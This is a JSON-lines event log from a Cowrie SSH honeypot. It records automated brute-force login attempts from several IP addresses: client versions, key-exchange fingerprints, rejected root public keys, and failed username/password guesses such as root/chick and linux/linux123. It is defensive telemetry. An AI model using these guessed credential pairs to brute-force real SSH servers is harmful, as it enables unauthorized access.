{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:53:6e:3c:b1:be:7b:b3:89:18:04:12:74:4f:85:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGADLEYDwqguW5sCtJ2Zw2/jkqCh++RwrpvmpLTvp+9IRaoDdWSS7g5uLYTBqNBik7KN3NXEjRmBtlocZ4rU0/mxfG28GPdiXNfLmhuf4T9mqDDFoK2SSHIINp+cLEpClEUgj/WOgl5O991lh9NQ9d7yamfqowyswvd+K6zjEWcCwYhs3ObDYTK+lOofyQDV/08ZFdarZb2ld6fh6a/DBsLvC8mlPDrmiB8rwQ2Ne/q7p65hr5wVpZCeQWrTOgn0W7u5/hHu9UXypZqfuRVOs7jC9e17IbhupzxR1tUdH8eB6M/oZV+RyhsE5MNG04MaCwYmlgOk5OxTXy3RejTpof","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:53:6e:3c:b1:be:7b:b3:89:18:04:12:74:4f:85:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:36.231496Z","src_ip":"91.98.80.4","session":"96a51378aa05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:53:6e:3c:b1:be:7b:b3:89:18:04:12:74:4f:85:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGADLEYDwqguW5sCtJ2Zw2/jkqCh++RwrpvmpLTvp+9IRaoDdWSS7g5uLYTBqNBik7KN3NXEjRmBtlocZ4rU0/mxfG28GPdiXNfLmhuf4T9mqDDFoK2SSHIINp+cLEpClEUgj/WOgl5O991lh9NQ9d7yamfqowyswvd+K6zjEWcCwYhs3ObDYTK+lOofyQDV/08ZFdarZb2ld6fh6a/DBsLvC8mlPDrmiB8rwQ2Ne/q7p65hr5wVpZCeQWrTOgn0W7u5/hHu9UXypZqfuRVOs7jC9e17IbhupzxR1tUdH8eB6M/oZV+RyhsE5MNG04MaCwYmlgOk5OxTXy3RejTpof","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:36.236241Z","src_ip":"91.98.80.4","session":"96a51378aa05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"99:c5:ed:62:fb:9a:a7:1e:62:38:1f:67:c7:fa:3b:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz1eC+rznllkMbv5GG8h9U28EvsB8Y8qddYFJq7bvCbcsWvj8Xg2jOxwZPMayQ/L49Qq7wDurCXjQ9GfRCrG2v704BArGi8vgK8BQVtj9M6YMHM4+0HGae1P+xwhP7RT7U98K3T9ibGysiPUHywC46BuG5kFXgEf5GE0g9nHAwtN8JFqTV0XfdfRs7gvE6YpmshXJ23Nl2ictnsuTdkxOmDhSIkRvmToGqgHh9Khfj+xM8So9TO5F9tblAPzg4BDqb7LJvYJVEA3pTFtNj7GYht9175cHjSDDcAo/2dioc3aG5eJ0yxCMCmy/1g1kQVkd8Xsh1OtD2tGL4mHcFk3l5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 99:c5:ed:62:fb:9a:a7:1e:62:38:1f:67:c7:fa:3b:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:36.357456Z","src_ip":"91.98.80.4","session":"96a51378aa05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"99:c5:ed:62:fb:9a:a7:1e:62:38:1f:67:c7:fa:3b:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCz1eC+rznllkMbv5GG8h9U28EvsB8Y8qddYFJq7bvCbcsWvj8Xg2jOxwZPMayQ/L49Qq7wDurCXjQ9GfRCrG2v704BArGi8vgK8BQVtj9M6YMHM4+0HGae1P+xwhP7RT7U98K3T9ibGysiPUHywC46BuG5kFXgEf5GE0g9nHAwtN8JFqTV0XfdfRs7gvE6YpmshXJ23Nl2ictnsuTdkxOmDhSIkRvmToGqgHh9Khfj+xM8So9TO5F9tblAPzg4BDqb7LJvYJVEA3pTFtNj7GYht9175cHjSDDcAo/2dioc3aG5eJ0yxCMCmy/1g1kQVkd8Xsh1OtD2tGL4mHcFk3l5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:36.361770Z","src_ip":"91.98.80.4","session":"96a51378aa05","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:48:a7:c8:c5:c4:6f:ff:af:6a:3b:2d:99:34:98:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAu4kJwjYOliH/eH7HKcWUCsgNgRQJVRpC6ihM4CybKxmcIOXnxEAh33Q/9u7LSLYNU9KXtLpFeCffuXBql3pX6VnNk9W9Da3tbqCvO/bcCPO0aWAdPZPSXTnVMRNcQELt6AGZSNqKUax7WbvCe7vBy0g5t92NqxZGpMMy9aoxtzKUbs6nOJwzZxKJuOv+699LkvcZtp5AhW17wl6R60zrfs8sVBsI7mcbrGYW8qkAfLL8KKbf4Xz26V4dWjstXiUZ7dWsw8JcQX9quw6NxRjf4Va7zKmJayTy4k/2cmtN8JWWDTGONXWz8dAyVH7v+o0wOEbBlFQvbEAdUaHwYLytn4QNDuro82f8+BhdDJES/g6icKF0zfQ9RYmZ6LkWomAoXMtHKtBYsNCzSDXQD8DOO9jLBIOSyxiiUiXfqrVoRunfARDBGWu+FXLPalLJyDTu+xMfoPiy0jdS0tu6R1/bTIQkA8rCLflrYQmKhAYDDUf2PYO5THSMugMNFi6Qq1ItcQeD94D0dUSE2+oM6LadfGZykhCqJMitAxVwC/aitzLdwFldeEUdyy47Hh3ZP0b+C7AM+hEO+kjx63EdZ4Sht10wVxZ7foknz6FZV9b0bs7uEidQsr1diIBdnhHwtN9zElg6pJsWGT1XYsB9ENQAFBHYWBJI3AsQht74vZoyWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:48:a7:c8:c5:c4:6f:ff:af:6a:3b:2d:99:34:98:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:36.456692Z","src_ip":"91.98.80.4","session":"96a51378aa05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:48:a7:c8:c5:c4:6f:ff:af:6a:3b:2d:99:34:98:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAu4kJwjYOliH/eH7HKcWUCsgNgRQJVRpC6ihM4CybKxmcIOXnxEAh33Q/9u7LSLYNU9KXtLpFeCffuXBql3pX6VnNk9W9Da3tbqCvO/bcCPO0aWAdPZPSXTnVMRNcQELt6AGZSNqKUax7WbvCe7vBy0g5t92NqxZGpMMy9aoxtzKUbs6nOJwzZxKJuOv+699LkvcZtp5AhW17wl6R60zrfs8sVBsI7mcbrGYW8qkAfLL8KKbf4Xz26V4dWjstXiUZ7dWsw8JcQX9quw6NxRjf4Va7zKmJayTy4k/2cmtN8JWWDTGONXWz8dAyVH7v+o0wOEbBlFQvbEAdUaHwYLytn4QNDuro82f8+BhdDJES/g6icKF0zfQ9RYmZ6LkWomAoXMtHKtBYsNCzSDXQD8DOO9jLBIOSyxiiUiXfqrVoRunfARDBGWu+FXLPalLJyDTu+xMfoPiy0jdS0tu6R1/bTIQkA8rCLflrYQmKhAYDDUf2PYO5THSMugMNFi6Qq1ItcQeD94D0dUSE2+oM6LadfGZykhCqJMitAxVwC/aitzLdwFldeEUdyy47Hh3ZP0b+C7AM+hEO+kjx63EdZ4Sht10wVxZ7foknz6FZV9b0bs7uEidQsr1diIBdnhHwtN9zElg6pJsWGT1XYsB9ENQAFBHYWBJI3AsQht74vZoyWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:36.460661Z","src_ip":"91.98.80.4","session":"96a51378aa05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:36.532888Z","src_ip":"190.167.237.191","session":"ecd9bb734360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:36.556104Z","src_ip":"91.98.80.4","session":"96a51378aa05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":37250,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5d8a599c405","protocol":"ssh","message":"New connection: 124.155.125.131:37250 (159.203.135.109:22) [session: a5d8a599c405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:36.815418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:36.820650Z","src_ip":"124.155.125.131","session":"a5d8a599c405","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:37.007597Z","src_ip":"124.155.125.131","session":"a5d8a599c405","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:37.744699Z","src_ip":"124.155.125.131","session":"a5d8a599c405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:38.923316Z","src_ip":"124.155.125.131","session":"a5d8a599c405","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39374,"dst_ip":"10.17.0.5","dst_port":22,"session":"7941c7c16635","protocol":"ssh","message":"New connection: 8.218.166.49:39374 (10.17.0.5:22) [session: 7941c7c16635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:39.119074Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":40582,"dst_ip":"159.203.135.109","dst_port":22,"session":"c959ae1ca702","protocol":"ssh","message":"New connection: 189.113.47.155:40582 (159.203.135.109:22) [session: c959ae1ca702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:41.001884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:41.007916Z","src_ip":"189.113.47.155","session":"c959ae1ca702","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:41.122923Z","src_ip":"189.113.47.155","session":"c959ae1ca702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pages","message":"login attempt [root/pages] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:41.614479Z","src_ip":"189.113.47.155","session":"c959ae1ca702","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:42.309048Z","src_ip":"8.218.166.49","session":"a9cb2b612dc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:42.730780Z","src_ip":"189.113.47.155","session":"c959ae1ca702","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:43.732037Z","src_ip":"8.218.166.49","session":"7941c7c16635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:43.737102Z","src_ip":"8.218.166.49","session":"7941c7c16635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:49.125412Z","src_ip":"8.218.166.49","session":"a9cb2b612dc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:52.030762Z","src_ip":"8.218.166.49","session":"7941c7c16635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"49.7","message":"Connection lost after 49.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:52.920680Z","src_ip":"8.218.166.49","session":"a9cb2b612dc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:09:54.025894Z","src_ip":"8.218.166.49","session":"7941c7c16635","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":49514,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ecaa1a9bc04","protocol":"ssh","message":"New connection: 8.218.166.49:49514 (10.17.0.5:22) [session: 8ecaa1a9bc04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:07.533064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:08.346336Z","src_ip":"8.218.166.49","session":"8ecaa1a9bc04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:08.793864Z","src_ip":"8.218.166.49","session":"8ecaa1a9bc04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":49944,"dst_ip":"159.203.135.109","dst_port":22,"session":"5376dd21b7d4","protocol":"ssh","message":"New connection: 88.147.30.59:49944 (159.203.135.109:22) [session: 5376dd21b7d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:27.854246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:27.860637Z","src_ip":"88.147.30.59","session":"5376dd21b7d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:27.985015Z","src_ip":"88.147.30.59","session":"5376dd21b7d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chick","message":"login attempt [root/chick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:28.505486Z","src_ip":"88.147.30.59","session":"5376dd21b7d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:29.630352Z","src_ip":"88.147.30.59","session":"5376dd21b7d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":41172,"dst_ip":"159.203.135.109","dst_port":22,"session":"11e398a67e44","protocol":"ssh","message":"New connection: 139.59.208.49:41172 (159.203.135.109:22) [session: 11e398a67e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:36.304965Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:10:36.309133Z","src_ip":"139.59.208.49","session":"11e398a67e44","protocol":"ssh"}
